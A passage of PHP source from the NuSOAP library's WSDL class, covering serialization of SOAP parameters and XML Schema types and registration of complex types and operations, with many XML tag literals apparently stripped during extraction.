    '; $typePrefix = 'xsd'; } else { foreach($this->typemap as $ns => $types) { if (isset($types[$partType])) { $typePrefix = $this->getPrefixFromNamespace($ns); } } if (!isset($typePrefix)) { die("$partType has no namespace!"); } } $ns = $this->getNamespaceFromPrefix($typePrefix); $localPart = $this->getLocalPart($partType); $typeDef = $this->getTypeDef($localPart, $ns); if ($typeDef['typeClass'] == 'element') { $elementortype = 'element'; if (substr($localPart, -1) == '^') { $localPart = substr($localPart, 0, -1); } } else { $elementortype = 'type'; } $xml .= "\n" . ' '; } } $xml .= '
    '; } } // bindings & porttypes if (count($this->bindings) >= 1) { $binding_xml = ''; $portType_xml = ''; foreach($this->bindings as $bindingName => $attrs) { $binding_xml .= "\n'; $binding_xml .= "\n" . ' '; $portType_xml .= "\n'; foreach($attrs['operations'] as $opName => $opParts) { $binding_xml .= "\n" . ' '; $binding_xml .= "\n" . ' '; if (isset($opParts['input']['encodingStyle']) && $opParts['input']['encodingStyle'] != '') { $enc_style = ' encodingStyle="' . $opParts['input']['encodingStyle'] . '"'; } else { $enc_style = ''; } $binding_xml .= "\n" . ' '; if (isset($opParts['output']['encodingStyle']) && $opParts['output']['encodingStyle'] != '') { $enc_style = ' encodingStyle="' . $opParts['output']['encodingStyle'] . '"'; } else { $enc_style = ''; } $binding_xml .= "\n" . ' '; $binding_xml .= "\n" . ' '; $portType_xml .= "\n" . ' ' . htmlspecialchars($opParts['documentation']) . ''; } $portType_xml .= "\n" . ' '; $portType_xml .= "\n" . ' '; $portType_xml .= "\n" . ' '; } $portType_xml .= "\n" . ''; $binding_xml .= "\n" . ''; } $xml .= $portType_xml . $binding_xml; } // services $xml .= "\nserviceName . '">'; if (count($this->ports) >= 1) { foreach($this->ports as $pName => $attrs) { $xml .= "\n" . ' '; $xml .= "\n" . ' '; $xml .= "\n" . ' '; } } $xml .= "\n" . ''; return $xml . "\n"; } /** * determine whether a set of parameters are unwrapped * when they are expect to be wrapped, Microsoft-style. * * @param string $type the type (element name) of the wrapper * @param array $parameters the parameter values for the SOAP call * @return boolean whether they parameters are unwrapped (and should be wrapped) * @access private */ function parametersMatchWrapped($type, &$parameters) { $this->debug("in parametersMatchWrapped type=$type, parameters="); $this->appendDebug($this->varDump($parameters)); // split type into namespace:unqualified-type if (strpos($type, ':')) { $uqType = substr($type, strrpos($type, ':') + 1); $ns = substr($type, 0, strrpos($type, ':')); $this->debug("in parametersMatchWrapped: got a prefixed type: $uqType, $ns"); if ($this->getNamespaceFromPrefix($ns)) { $ns = $this->getNamespaceFromPrefix($ns); $this->debug("in parametersMatchWrapped: expanded prefixed type: $uqType, $ns"); } } else { // TODO: should the type be compared to types in XSD, and the namespace // set to XSD if the type matches? $this->debug("in parametersMatchWrapped: No namespace for type $type"); $ns = ''; $uqType = $type; } // get the type information if (!$typeDef = $this->getTypeDef($uqType, $ns)) { $this->debug("in parametersMatchWrapped: $type ($uqType) is not a supported type."); return false; } $this->debug("in parametersMatchWrapped: found typeDef="); $this->appendDebug($this->varDump($typeDef)); if (substr($uqType, -1) == '^') { $uqType = substr($uqType, 0, -1); } $phpType = $typeDef['phpType']; $arrayType = (isset($typeDef['arrayType']) ? $typeDef['arrayType'] : ''); $this->debug("in parametersMatchWrapped: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: $arrayType"); // we expect a complexType or element of complexType if ($phpType != 'struct') { $this->debug("in parametersMatchWrapped: not a struct"); return false; } // see whether the parameter names match the elements if (isset($typeDef['elements']) && is_array($typeDef['elements'])) { $elements = 0; $matches = 0; foreach ($typeDef['elements'] as $name => $attrs) { if (isset($parameters[$name])) { $this->debug("in parametersMatchWrapped: have parameter named $name"); $matches++; } else { $this->debug("in parametersMatchWrapped: do not have parameter named $name"); } $elements++; } $this->debug("in parametersMatchWrapped: $matches parameter names match $elements wrapped parameter names"); if ($matches == 0) { return false; } return true; } // since there are no elements for the type, if the user passed no // parameters, the parameters match wrapped. $this->debug("in parametersMatchWrapped: no elements type $ns:$uqType"); return count($parameters) == 0; } /** * serialize PHP values according to a WSDL message definition * contrary to the method name, this is not limited to RPC * * TODO * - multi-ref serialization * - validate PHP values against type definitions, return errors if invalid * * @param string $operation operation name * @param string $direction (input|output) * @param mixed $parameters parameter value(s) * @param string $bindingType (soap|soap12) * @return mixed parameters serialized as XML or false on error (e.g. operation not found) * @access public */ function serializeRPCParameters($operation, $direction, $parameters, $bindingType = 'soap') { $this->debug("in serializeRPCParameters: operation=$operation, direction=$direction, XMLSchemaVersion=$this->XMLSchemaVersion, bindingType=$bindingType"); $this->appendDebug('parameters=' . $this->varDump($parameters)); if ($direction != 'input' && $direction != 'output') { $this->debug('The value of the \$direction argument needs to be either "input" or "output"'); $this->setError('The value of the \$direction argument needs to be either "input" or "output"'); return false; } if (!$opData = $this->getOperationData($operation, $bindingType)) { $this->debug('Unable to retrieve WSDL data for operation: ' . $operation . ' bindingType: ' . $bindingType); $this->setError('Unable to retrieve WSDL data for operation: ' . $operation . ' bindingType: ' . $bindingType); return false; } $this->debug('in serializeRPCParameters: opData:'); $this->appendDebug($this->varDump($opData)); // Get encoding style for output and set to current $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; if(($direction == 'input') && isset($opData['output']['encodingStyle']) && ($opData['output']['encodingStyle'] != $encodingStyle)) { $encodingStyle = $opData['output']['encodingStyle']; $enc_style = $encodingStyle; } // set input params $xml = ''; if (isset($opData[$direction]['parts']) && sizeof($opData[$direction]['parts']) > 0) { $parts = &$opData[$direction]['parts']; $part_count = sizeof($parts); $style = $opData['style']; $use = $opData[$direction]['use']; $this->debug("have $part_count part(s) to serialize using $style/$use"); if (is_array($parameters)) { $parametersArrayType = $this->isArraySimpleOrStruct($parameters); $parameter_count = count($parameters); $this->debug("have $parameter_count parameter(s) provided as $parametersArrayType to serialize"); // check for Microsoft-style wrapped parameters if ($style == 'document' && $use == 'literal' && $part_count == 1 && isset($parts['parameters'])) { $this->debug('check whether the caller has wrapped the parameters'); if ($direction == 'output' && $parametersArrayType == 'arraySimple' && $parameter_count == 1) { // TODO: consider checking here for double-wrapping, when // service function wraps, then NuSOAP wraps again $this->debug("change simple array to associative with 'parameters' element"); $parameters['parameters'] = $parameters[0]; unset($parameters[0]); } if (($parametersArrayType == 'arrayStruct' || $parameter_count == 0) && !isset($parameters['parameters'])) { $this->debug('check whether caller\'s parameters match the wrapped ones'); if ($this->parametersMatchWrapped($parts['parameters'], $parameters)) { $this->debug('wrap the parameters for the caller'); $parameters = array('parameters' => $parameters); $parameter_count = 1; } } } foreach ($parts as $name => $type) { $this->debug("serializing part $name of type $type"); // Track encoding style if (isset($opData[$direction]['encodingStyle']) && $encodingStyle != $opData[$direction]['encodingStyle']) { $encodingStyle = $opData[$direction]['encodingStyle']; $enc_style = $encodingStyle; } else { $enc_style = false; } // NOTE: add error handling here // if serializeType returns false, then catch global error and fault if ($parametersArrayType == 'arraySimple') { $p = array_shift($parameters); $this->debug('calling serializeType w/indexed param'); $xml .= $this->serializeType($name, $type, $p, $use, $enc_style); } elseif (isset($parameters[$name])) { $this->debug('calling serializeType w/named param'); $xml .= $this->serializeType($name, $type, $parameters[$name], $use, $enc_style); } else { // TODO: only send nillable $this->debug('calling serializeType w/null param'); $xml .= $this->serializeType($name, $type, null, $use, $enc_style); } } } else { $this->debug('no parameters passed.'); } } $this->debug("serializeRPCParameters returning: $xml"); return $xml; } /** * serialize a PHP value according to a WSDL message definition * * TODO * - multi-ref serialization * - validate PHP values against type definitions, return errors if invalid * * @param string $operation operation name * @param string $direction (input|output) * @param mixed $parameters parameter value(s) * @return mixed parameters serialized as XML or false on error (e.g. operation not found) * @access public * @deprecated */ function serializeParameters($operation, $direction, $parameters) { $this->debug("in serializeParameters: operation=$operation, direction=$direction, XMLSchemaVersion=$this->XMLSchemaVersion"); $this->appendDebug('parameters=' . $this->varDump($parameters)); if ($direction != 'input' && $direction != 'output') { $this->debug('The value of the \$direction argument needs to be either "input" or "output"'); $this->setError('The value of the \$direction argument needs to be either "input" or "output"'); return false; } if (!$opData = $this->getOperationData($operation)) { $this->debug('Unable to retrieve WSDL data for operation: ' . $operation); $this->setError('Unable to retrieve WSDL data for operation: ' . $operation); return false; } $this->debug('opData:'); $this->appendDebug($this->varDump($opData)); // Get encoding style for output and set to current $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; if(($direction == 'input') && isset($opData['output']['encodingStyle']) && ($opData['output']['encodingStyle'] != $encodingStyle)) { $encodingStyle = $opData['output']['encodingStyle']; $enc_style = $encodingStyle; } // set input params $xml = ''; if (isset($opData[$direction]['parts']) && sizeof($opData[$direction]['parts']) > 0) { $use = $opData[$direction]['use']; $this->debug("use=$use"); $this->debug('got ' . count($opData[$direction]['parts']) . ' part(s)'); if (is_array($parameters)) { $parametersArrayType = $this->isArraySimpleOrStruct($parameters); $this->debug('have ' . $parametersArrayType . ' parameters'); foreach($opData[$direction]['parts'] as $name => $type) { $this->debug('serializing part "'.$name.'" of type "'.$type.'"'); // Track encoding style if(isset($opData[$direction]['encodingStyle']) && $encodingStyle != $opData[$direction]['encodingStyle']) { $encodingStyle = $opData[$direction]['encodingStyle']; $enc_style = $encodingStyle; } else { $enc_style = false; } // NOTE: add error handling here // if serializeType returns false, then catch global error and fault if ($parametersArrayType == 'arraySimple') { $p = array_shift($parameters); $this->debug('calling serializeType w/indexed param'); $xml .= $this->serializeType($name, $type, $p, $use, $enc_style); } elseif (isset($parameters[$name])) { $this->debug('calling serializeType w/named param'); $xml .= $this->serializeType($name, $type, $parameters[$name], $use, $enc_style); } else { // TODO: only send nillable $this->debug('calling serializeType w/null param'); $xml .= $this->serializeType($name, $type, null, $use, $enc_style); } } } else { $this->debug('no parameters passed.'); } } $this->debug("serializeParameters returning: $xml"); return $xml; } /** * serializes a PHP value according a given type definition * * @param string $name name of value (part or element) * @param string $type XML schema type of value (type or element) * @param mixed $value a native PHP value (parameter value) * @param string $use use for part (encoded|literal) * @param string $encodingStyle SOAP encoding style for the value (if different than the enclosing style) * @param boolean $unqualified a kludge for what should be XML namespace form handling * @return string value serialized as an XML string * @access private */ function serializeType($name, $type, $value, $use='encoded', $encodingStyle=false, $unqualified=false) { $this->debug("in serializeType: name=$name, type=$type, use=$use, encodingStyle=$encodingStyle, unqualified=" . ($unqualified ? "unqualified" : "qualified")); $this->appendDebug("value=" . $this->varDump($value)); if($use == 'encoded' && $encodingStyle) { $encodingStyle = ' SOAP-ENV:encodingStyle="' . $encodingStyle . '"'; } // if a soapval has been supplied, let its type override the WSDL if (is_object($value) && get_class($value) == 'soapval') { if ($value->type_ns) { $type = $value->type_ns . ':' . $value->type; $forceType = true; $this->debug("in serializeType: soapval overrides type to $type"); } elseif ($value->type) { $type = $value->type; $forceType = true; $this->debug("in serializeType: soapval overrides type to $type"); } else { $forceType = false; $this->debug("in serializeType: soapval does not override type"); } $attrs = $value->attributes; $value = $value->value; $this->debug("in serializeType: soapval overrides value to $value"); if ($attrs) { if (!is_array($value)) { $value['!'] = $value; } foreach ($attrs as $n => $v) { $value['!' . $n] = $v; } $this->debug("in serializeType: soapval provides attributes"); } } else { $forceType = false; } $xml = ''; if (strpos($type, ':')) { $uqType = substr($type, strrpos($type, ':') + 1); $ns = substr($type, 0, strrpos($type, ':')); $this->debug("in serializeType: got a prefixed type: $uqType, $ns"); if ($this->getNamespaceFromPrefix($ns)) { $ns = $this->getNamespaceFromPrefix($ns); $this->debug("in serializeType: expanded prefixed type: $uqType, $ns"); } if($ns == $this->XMLSchemaVersion || $ns == 'http://schemas.xmlsoap.org/soap/encoding/'){ $this->debug('in serializeType: type namespace indicates XML Schema or SOAP Encoding type'); if ($unqualified && $use == 'literal') { $elementNS = " xmlns=\"\""; } else { $elementNS = ''; } if (is_null($value)) { if ($use == 'literal') { // TODO: depends on minOccurs $xml = "<$name$elementNS/>"; } else { // TODO: depends on nillable, which should be checked before calling this method $xml = "<$name$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"/>"; } $this->debug("in serializeType: returning: $xml"); return $xml; } if ($uqType == 'Array') { // JBoss/Axis does this sometimes return $this->serialize_val($value, $name, false, false, false, false, $use); } if ($uqType == 'boolean') { if ((is_string($value) && $value == 'false') || (! $value)) { $value = 'false'; } else { $value = 'true'; } } if ($uqType == 'string' && gettype($value) == 'string') { $value = $this->expandEntities($value); } if (($uqType == 'long' || $uqType == 'unsignedLong') && gettype($value) == 'double') { $value = sprintf("%.0lf", $value); } // it's a scalar // TODO: what about null/nil values? // check type isn't a custom type extending xmlschema namespace if (!$this->getTypeDef($uqType, $ns)) { if ($use == 'literal') { if ($forceType) { $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">$value"; } else { $xml = "<$name$elementNS>$value"; } } else { $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>$value"; } $this->debug("in serializeType: returning: $xml"); return $xml; } $this->debug('custom type extends XML Schema or SOAP Encoding namespace (yuck)'); } else if ($ns == 'http://xml.apache.org/xml-soap') { $this->debug('in serializeType: appears to be Apache SOAP type'); if ($uqType == 'Map') { $tt_prefix = $this->getPrefixFromNamespace('http://xml.apache.org/xml-soap'); if (! $tt_prefix) { $this->debug('in serializeType: Add namespace for Apache SOAP type'); $tt_prefix = 'ns' . rand(1000, 9999); $this->namespaces[$tt_prefix] = 'http://xml.apache.org/xml-soap'; // force this to be added to usedNamespaces $tt_prefix = $this->getPrefixFromNamespace('http://xml.apache.org/xml-soap'); } $contents = ''; foreach($value as $k => $v) { $this->debug("serializing map element: key $k, value $v"); $contents .= ''; $contents .= $this->serialize_val($k,'key',false,false,false,false,$use); $contents .= $this->serialize_val($v,'value',false,false,false,false,$use); $contents .= ''; } if ($use == 'literal') { if ($forceType) { $xml = "<$name xsi:type=\"" . $tt_prefix . ":$uqType\">$contents"; } else { $xml = "<$name>$contents"; } } else { $xml = "<$name xsi:type=\"" . $tt_prefix . ":$uqType\"$encodingStyle>$contents"; } $this->debug("in serializeType: returning: $xml"); return $xml; } $this->debug('in serializeType: Apache SOAP type, but only support Map'); } } else { // TODO: should the type be compared to types in XSD, and the namespace // set to XSD if the type matches? $this->debug("in serializeType: No namespace for type $type"); $ns = ''; $uqType = $type; } if(!$typeDef = $this->getTypeDef($uqType, $ns)){ $this->setError("$type ($uqType) is not a supported type."); $this->debug("in serializeType: $type ($uqType) is not a supported type."); return false; } else { $this->debug("in serializeType: found typeDef"); $this->appendDebug('typeDef=' . $this->varDump($typeDef)); if (substr($uqType, -1) == '^') { $uqType = substr($uqType, 0, -1); } } if (!isset($typeDef['phpType'])) { $this->setError("$type ($uqType) has no phpType."); $this->debug("in serializeType: $type ($uqType) has no phpType."); return false; } $phpType = $typeDef['phpType']; $this->debug("in serializeType: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: " . (isset($typeDef['arrayType']) ? $typeDef['arrayType'] : '') ); // if php type == struct, map value to the element names if ($phpType == 'struct') { if (isset($typeDef['typeClass']) && $typeDef['typeClass'] == 'element') { $elementName = $uqType; if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { $elementNS = " xmlns=\"$ns\""; } else { $elementNS = " xmlns=\"\""; } } else { $elementName = $name; if ($unqualified) { $elementNS = " xmlns=\"\""; } else { $elementNS = ''; } } if (is_null($value)) { if ($use == 'literal') { // TODO: depends on minOccurs and nillable $xml = "<$elementName$elementNS/>"; } else { $xml = "<$elementName$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"/>"; } $this->debug("in serializeType: returning: $xml"); return $xml; } if (is_object($value)) { $value = get_object_vars($value); } if (is_array($value)) { $elementAttrs = $this->serializeComplexTypeAttributes($typeDef, $value, $ns, $uqType); if ($use == 'literal') { if ($forceType) { $xml = "<$elementName$elementNS$elementAttrs xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">"; } else { $xml = "<$elementName$elementNS$elementAttrs>"; } } else { $xml = "<$elementName$elementNS$elementAttrs xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>"; } if (isset($typeDef['simpleContent']) && $typeDef['simpleContent'] == 'true') { if (isset($value['!'])) { $xml .= $value['!']; $this->debug("in serializeType: serialized simpleContent for type $type"); } else { $this->debug("in serializeType: no simpleContent to serialize for type $type"); } } else { // complexContent $xml .= $this->serializeComplexTypeElements($typeDef, $value, $ns, $uqType, $use, $encodingStyle); } $xml .= ""; } else { $this->debug("in serializeType: phpType is struct, but value is not an array"); $this->setError("phpType is struct, but value is not an array: see debug output for details"); $xml = ''; } } elseif ($phpType == 'array') { if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { $elementNS = " xmlns=\"$ns\""; } else { if ($unqualified) { $elementNS = " xmlns=\"\""; } else { $elementNS = ''; } } if (is_null($value)) { if ($use == 'literal') { // TODO: depends on minOccurs $xml = "<$name$elementNS/>"; } else { $xml = "<$name$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') . ":Array\" " . $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') . ':arrayType="' . $this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType'])) . ':' . $this->getLocalPart($typeDef['arrayType'])."[0]\"/>"; } $this->debug("in serializeType: returning: $xml"); return $xml; } if (isset($typeDef['multidimensional'])) { $nv = array(); foreach($value as $v) { $cols = ',' . sizeof($v); $nv = array_merge($nv, $v); } $value = $nv; } else { $cols = ''; } if (is_array($value) && sizeof($value) >= 1) { $rows = sizeof($value); $contents = ''; foreach($value as $k => $v) { $this->debug("serializing array element: $k, $v of type: $typeDef[arrayType]"); //if (strpos($typeDef['arrayType'], ':') ) { if (!in_array($typeDef['arrayType'],$this->typemap['http://www.w3.org/2001/XMLSchema'])) { $contents .= $this->serializeType('item', $typeDef['arrayType'], $v, $use); } else { $contents .= $this->serialize_val($v, 'item', $typeDef['arrayType'], null, $this->XMLSchemaVersion, false, $use); } } } else { $rows = 0; $contents = null; } // TODO: for now, an empty value will be serialized as a zero element // array. Revisit this when coding the handling of null/nil values. if ($use == 'literal') { $xml = "<$name$elementNS>" .$contents .""; } else { $xml = "<$name$elementNS xsi:type=\"".$this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/').':Array" '. $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') .':arrayType="' .$this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType'])) .":".$this->getLocalPart($typeDef['arrayType'])."[$rows$cols]\">" .$contents .""; } } elseif ($phpType == 'scalar') { if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { $elementNS = " xmlns=\"$ns\""; } else { if ($unqualified) { $elementNS = " xmlns=\"\""; } else { $elementNS = ''; } } if ($use == 'literal') { if ($forceType) { $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">$value"; } else { $xml = "<$name$elementNS>$value"; } } else { $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>$value"; } } $this->debug("in serializeType: returning: $xml"); return $xml; } /** * serializes the attributes for a complexType * * @param array $typeDef our internal representation of an XML schema type (or element) * @param mixed $value a native PHP value (parameter value) * @param string $ns the namespace of the type * @param string $uqType the local part of the type * @return string value serialized as an XML string * @access private */ function serializeComplexTypeAttributes($typeDef, $value, $ns, $uqType) { $this->debug("serializeComplexTypeAttributes for XML Schema type $ns:$uqType"); $xml = ''; if (isset($typeDef['extensionBase'])) { $nsx = $this->getPrefix($typeDef['extensionBase']); $uqTypex = $this->getLocalPart($typeDef['extensionBase']); if ($this->getNamespaceFromPrefix($nsx)) { $nsx = $this->getNamespaceFromPrefix($nsx); } if ($typeDefx = $this->getTypeDef($uqTypex, $nsx)) { $this->debug("serialize attributes for extension base $nsx:$uqTypex"); $xml .= $this->serializeComplexTypeAttributes($typeDefx, $value, $nsx, $uqTypex); } else { $this->debug("extension base $nsx:$uqTypex is not a supported type"); } } if (isset($typeDef['attrs']) && is_array($typeDef['attrs'])) { $this->debug("serialize attributes for XML Schema type $ns:$uqType"); if (is_array($value)) { $xvalue = $value; } elseif (is_object($value)) { $xvalue = get_object_vars($value); } else { $this->debug("value is neither an array nor an object for XML Schema type $ns:$uqType"); $xvalue = array(); } foreach ($typeDef['attrs'] as $aName => $attrs) { if (isset($xvalue['!' . $aName])) { $xname = '!' . $aName; $this->debug("value provided for attribute $aName with key $xname"); } elseif (isset($xvalue[$aName])) { $xname = $aName; $this->debug("value provided for attribute $aName with key $xname"); } elseif (isset($attrs['default'])) { $xname = '!' . $aName; $xvalue[$xname] = $attrs['default']; $this->debug('use default value of ' . $xvalue[$aName] . ' for attribute ' . $aName); } else { $xname = ''; $this->debug("no value provided for attribute $aName"); } if ($xname) { $xml .= " $aName=\"" . $this->expandEntities($xvalue[$xname]) . "\""; } } } else { $this->debug("no attributes to serialize for XML Schema type $ns:$uqType"); } return $xml; } /** * serializes the elements for a complexType * * @param array $typeDef our internal representation of an XML schema type (or element) * @param mixed $value a native PHP value (parameter value) * @param string $ns the namespace of the type * @param string $uqType the local part of the type * @param string $use use for part (encoded|literal) * @param string $encodingStyle SOAP encoding style for the value (if different than the enclosing style) * @return string value serialized as an XML string * @access private */ function serializeComplexTypeElements($typeDef, $value, $ns, $uqType, $use='encoded', $encodingStyle=false) { $this->debug("in serializeComplexTypeElements for XML Schema type $ns:$uqType"); $xml = ''; if (isset($typeDef['extensionBase'])) { $nsx = $this->getPrefix($typeDef['extensionBase']); $uqTypex = $this->getLocalPart($typeDef['extensionBase']); if ($this->getNamespaceFromPrefix($nsx)) { $nsx = $this->getNamespaceFromPrefix($nsx); } if ($typeDefx = $this->getTypeDef($uqTypex, $nsx)) { $this->debug("serialize elements for extension base $nsx:$uqTypex"); $xml .= $this->serializeComplexTypeElements($typeDefx, $value, $nsx, $uqTypex, $use, $encodingStyle); } else { $this->debug("extension base $nsx:$uqTypex is not a supported type"); } } if (isset($typeDef['elements']) && is_array($typeDef['elements'])) { $this->debug("in serializeComplexTypeElements, serialize elements for XML Schema type $ns:$uqType"); if (is_array($value)) { $xvalue = $value; } elseif (is_object($value)) { $xvalue = get_object_vars($value); } else { $this->debug("value is neither an array nor an object for XML Schema type $ns:$uqType"); $xvalue = array(); } // toggle whether all elements are present - ideally should validate against schema if (count($typeDef['elements']) != count($xvalue)){ $optionals = true; } foreach ($typeDef['elements'] as $eName => $attrs) { if (!isset($xvalue[$eName])) { if (isset($attrs['default'])) { $xvalue[$eName] = $attrs['default']; $this->debug('use default value of ' . $xvalue[$eName] . ' for element ' . $eName); } } // if user took advantage of a minOccurs=0, then only serialize named parameters if (isset($optionals) && (!isset($xvalue[$eName])) && ( (!isset($attrs['nillable'])) || $attrs['nillable'] != 'true') ){ if (isset($attrs['minOccurs']) && $attrs['minOccurs'] <> '0') { $this->debug("apparent error: no value provided for element $eName with minOccurs=" . $attrs['minOccurs']); } // do nothing $this->debug("no value provided for complexType element $eName and element is not nillable, so serialize nothing"); } else { // get value if (isset($xvalue[$eName])) { $v = $xvalue[$eName]; } else { $v = null; } if (isset($attrs['form'])) { $unqualified = ($attrs['form'] == 'unqualified'); } else { $unqualified = false; } if (isset($attrs['maxOccurs']) && ($attrs['maxOccurs'] == 'unbounded' || $attrs['maxOccurs'] > 1) && isset($v) && is_array($v) && $this->isArraySimpleOrStruct($v) == 'arraySimple') { $vv = $v; foreach ($vv as $k => $v) { if (isset($attrs['type']) || isset($attrs['ref'])) { // serialize schema-defined type $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); } else { // serialize generic type (can this ever really happen?) $this->debug("calling serialize_val() for $v, $eName, false, false, false, false, $use"); $xml .= $this->serialize_val($v, $eName, false, false, false, false, $use); } } } else { if (is_null($v) && isset($attrs['minOccurs']) && $attrs['minOccurs'] == '0') { // do nothing } elseif (is_null($v) && isset($attrs['nillable']) && $attrs['nillable'] == 'true') { // TODO: serialize a nil correctly, but for now serialize schema-defined type $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); } elseif (isset($attrs['type']) || isset($attrs['ref'])) { // serialize schema-defined type $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); } else { // serialize generic type (can this ever really happen?) $this->debug("calling serialize_val() for $v, $eName, false, false, false, false, $use"); $xml .= $this->serialize_val($v, $eName, false, false, false, false, $use); } } } } } else { $this->debug("no elements to serialize for XML Schema type $ns:$uqType"); } return $xml; } /** * adds an XML Schema complex type to the WSDL types * * @param string $name * @param string $typeClass (complexType|simpleType|attribute) * @param string $phpType currently supported are array and struct (php assoc array) * @param string $compositor (all|sequence|choice) * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) * @param array $elements e.g. array ( name => array(name=>'',type=>'') ) * @param array $attrs e.g. array(array('ref'=>'SOAP-ENC:arrayType','wsdl:arrayType'=>'xsd:string[]')) * @param string $arrayType as namespace:name (xsd:string) * @see nusoap_xmlschema * @access public */ function addComplexType($name,$typeClass='complexType',$phpType='array',$compositor='',$restrictionBase='',$elements=array(),$attrs=array(),$arrayType='') { if (count($elements) > 0) { $eElements = array(); foreach($elements as $n => $e){ // expand each element $ee = array(); foreach ($e as $k => $v) { $k = strpos($k,':') ? $this->expandQname($k) : $k; $v = strpos($v,':') ? $this->expandQname($v) : $v; $ee[$k] = $v; } $eElements[$n] = $ee; } $elements = $eElements; } if (count($attrs) > 0) { foreach($attrs as $n => $a){ // expand each attribute foreach ($a as $k => $v) { $k = strpos($k,':') ? $this->expandQname($k) : $k; $v = strpos($v,':') ? $this->expandQname($v) : $v; $aa[$k] = $v; } $eAttrs[$n] = $aa; } $attrs = $eAttrs; } $restrictionBase = strpos($restrictionBase,':') ? $this->expandQname($restrictionBase) : $restrictionBase; $arrayType = strpos($arrayType,':') ? $this->expandQname($arrayType) : $arrayType; $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; $this->schemas[$typens][0]->addComplexType($name,$typeClass,$phpType,$compositor,$restrictionBase,$elements,$attrs,$arrayType); } /** * adds an XML Schema simple type to the WSDL types * * @param string $name * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) * @param string $typeClass (should always be simpleType) * @param string $phpType (should always be scalar) * @param array $enumeration array of values * @see nusoap_xmlschema * @access public */ function addSimpleType($name, $restrictionBase='', $typeClass='simpleType', $phpType='scalar', $enumeration=array()) { $restrictionBase = strpos($restrictionBase,':') ? $this->expandQname($restrictionBase) : $restrictionBase; $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; $this->schemas[$typens][0]->addSimpleType($name, $restrictionBase, $typeClass, $phpType, $enumeration); } /** * adds an element to the WSDL types * * @param array $attrs attributes that must include name and type * @see nusoap_xmlschema * @access public */ function addElement($attrs) { $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; $this->schemas[$typens][0]->addElement($attrs); } /** * register an operation with the server * * @param string $name operation (method) name * @param array $in assoc array of input values: key = param name, value = param type * @param array $out assoc array of output values: key = param name, value = param type * @param string $namespace optional The namespace for the operation * @param string $soapaction optional The soapaction for the operation * @param string $style (rpc|document) optional The style for the operation Note: when 'document' is specified, parameter and return wrappers are created for you automatically * @param string $use (encoded|literal) optional The use for the parameters (cannot mix right now) * @param string $documentation optional The description to include in the WSDL * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) * @access public */ function addOperation($name, $in = false, $out = false, $namespace = false, $soapaction = false, $style = 'rpc', $use = 'encoded', $documentation = '', $encodingStyle = ''){ if ($use == 'encoded' && $encodingStyle == '') { $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; } if ($style == 'document') { $elements = array(); foreach ($in as $n => $t) { $elements[$n] = array('name' => $n, 'type' => $t, 'form' => 'unqualified'); } $this->addComplexType($name . 'RequestType', 'complexType', 'struct', 'all', '', $elements); $this->addElement(array('name' => $name, 'type' => $name . 'RequestType')); $in = array('parameters' => 'tns:' . $name . '^'); $elements = array(); foreach ($out as $n => $t) { $elements[$n] = array('name' => $n, 'type' => $t, 'form' => 'unqualified'); } $this->addComplexType($name . 'ResponseType', 'complexType', 'struct', 'all', '', $elements); $this->addElement(array('name' => $name . 'Response', 'type' => $name . 'ResponseType', 'form' => 'qualified')); $out = array('parameters' => 'tns:' . $name . 'Response' . '^'); } // get binding $this->bindings[ $this->serviceName . 'Binding' ]['operations'][$name] = array( 'name' => $name, 'binding' => $this->serviceName . 'Binding', 'endpoint' => $this->endpoint, 'soapAction' => $soapaction, 'style' => $style, 'input' => array( 'use' => $use, 'namespace' => $namespace, 'encodingStyle' => $encodingStyle, 'message' => $name . 'Request', 'parts' => $in), 'output' => array( 'use' => $use, 'namespace' => $namespace, 'encodingStyle' => $encodingStyle, 'message' => $name . 'Response', 'parts' => $out), 'namespace' => $namespace, 'transport' => 'http://schemas.xmlsoap.org/soap/http', 'documentation' => $documentation); // add portTypes // add messages if($in) { foreach($in as $pName => $pType) { if(strpos($pType,':')) { $pType = $this->getNamespaceFromPrefix($this->getPrefix($pType)).":".$this->getLocalPart($pType); } $this->messages[$name.'Request'][$pName] = $pType; } } else { $this->messages[$name.'Request']= '0'; } if($out) { foreach($out as $pName => $pType) { 